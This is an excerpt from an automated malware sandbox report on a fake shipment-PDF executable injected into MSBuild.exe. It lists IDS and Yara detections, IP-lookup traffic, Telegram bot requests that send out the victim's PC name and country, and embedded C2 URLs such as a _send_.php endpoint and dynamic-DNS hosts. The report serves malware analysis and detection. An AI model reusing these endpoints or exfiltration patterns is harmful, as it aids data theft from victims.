Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 02EBF45Dh	17_2_02EBF4AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 02EBFC19h	17_2_02EBF961
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 06ABE501h	17_2_06ABE258
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 06AB0D0Dh	17_2_06AB0B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 06AB1697h	17_2_06AB0B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 06AB31E0h	17_2_06AB2DC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 06AB2C19h	17_2_06AB2968
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 06ABE959h	17_2_06ABE6B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 06ABE0A9h	17_2_06ABDE00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 06ABF661h	17_2_06ABF3B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 06ABEDB1h	17_2_06ABEB08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 06ABF209h	17_2_06ABEF60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 06ABCF49h	17_2_06ABCCA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 06ABD3A1h	17_2_06ABD0F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 06ABFAB9h	17_2_06ABF810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	17_2_06AB0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 06ABDC51h	17_2_06ABD9A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 06AB31E0h	17_2_06AB310E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 06ABD7F9h	17_2_06ABD550

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 0.2.Shipment 990847575203.pdf.exe.430d590.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Shipment 990847575203.pdf.exe.42c9970.0.raw.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:226533%0D%0ADate%20and%20Time:%2015/12/2024%20/%2013:48:37%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20226533%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:226533%0D%0ADate%20and%20Time:%2016/12/2024%20/%2009:08:51%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20226533%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 193.122.6.168 193.122.6.168

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org
Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: checkip.dyndns.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49724 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49719 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49731 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49740 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49726 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49739 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49722 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49730 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49767 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49754 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49742 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49747 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49736 -> 172.67.177.134:443

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 172.67.177.134:443 -> 192.168.2.6:49720 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 172.67.177.134:443 -> 192.168.2.6:49734 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.181.4
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:226533%0D%0ADate%20and%20Time:%2015/12/2024%20/%2013:48:37%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20226533%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:226533%0D%0ADate%20and%20Time:%2016/12/2024%20/%2009:08:51%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20226533%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: kashmirestore.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 14 Dec 2024 12:50:12 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 14 Dec 2024 12:50:32 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: MSBuild.exe, 00000009.00000002.3578857774.0000000002A9A000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: Shipment 990847575203.pdf.exe, 00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3573869658.0000000000430000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: Shipment 990847575203.pdf.exe, 00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3578857774.00000000028D1000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003081000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3573869658.0000000000430000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: Shipment 990847575203.pdf.exe, 00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3578857774.00000000028D1000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003081000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3573869658.0000000000430000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: MSBuild.exe, 00000009.00000002.3578857774.00000000028D1000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003081000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: MSBuild.exe, 00000009.00000002.3578857774.00000000028D1000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003081000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: Shipment 990847575203.pdf.exe, 00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3573869658.0000000000430000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: MSBuild.exe, 00000009.00000002.3575088087.0000000000B36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microso
Source: MSBuild.exe, 00000009.00000002.3575088087.0000000000B36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoHX
Source: MSBuild.exe, 00000009.00000002.3578857774.0000000002AD7000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3578857774.0000000002A9A000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://kashmirestore.com
Source: Shipment 990847575203.pdf.exe, 00000000.00000002.2421064302.00000000032F7000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3578857774.00000000028D1000.00000004.00000800.00020000.00000000.sdmp, FZcXKpA.exe, 0000000A.00000002.2539468876.0000000003317000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003081000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Shipment 990847575203.pdf.exe, FZcXKpA.exe.0.dr	String found in binary or memory: http://tempuri.org/kviskotekaDbDataSet.xsdcIgra
Source: Shipment 990847575203.pdf.exe, 00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3578857774.00000000028D1000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003081000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3573869658.0000000000430000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: MSBuild.exe, 00000009.00000002.3584071371.00000000038F2000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.3584071371.0000000003BE4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3583881759.0000000004392000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3583881759.00000000040A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: MSBuild.exe, 00000009.00000002.3578857774.00000000029B8000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000011.00000002.3578489712.0000000003168000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
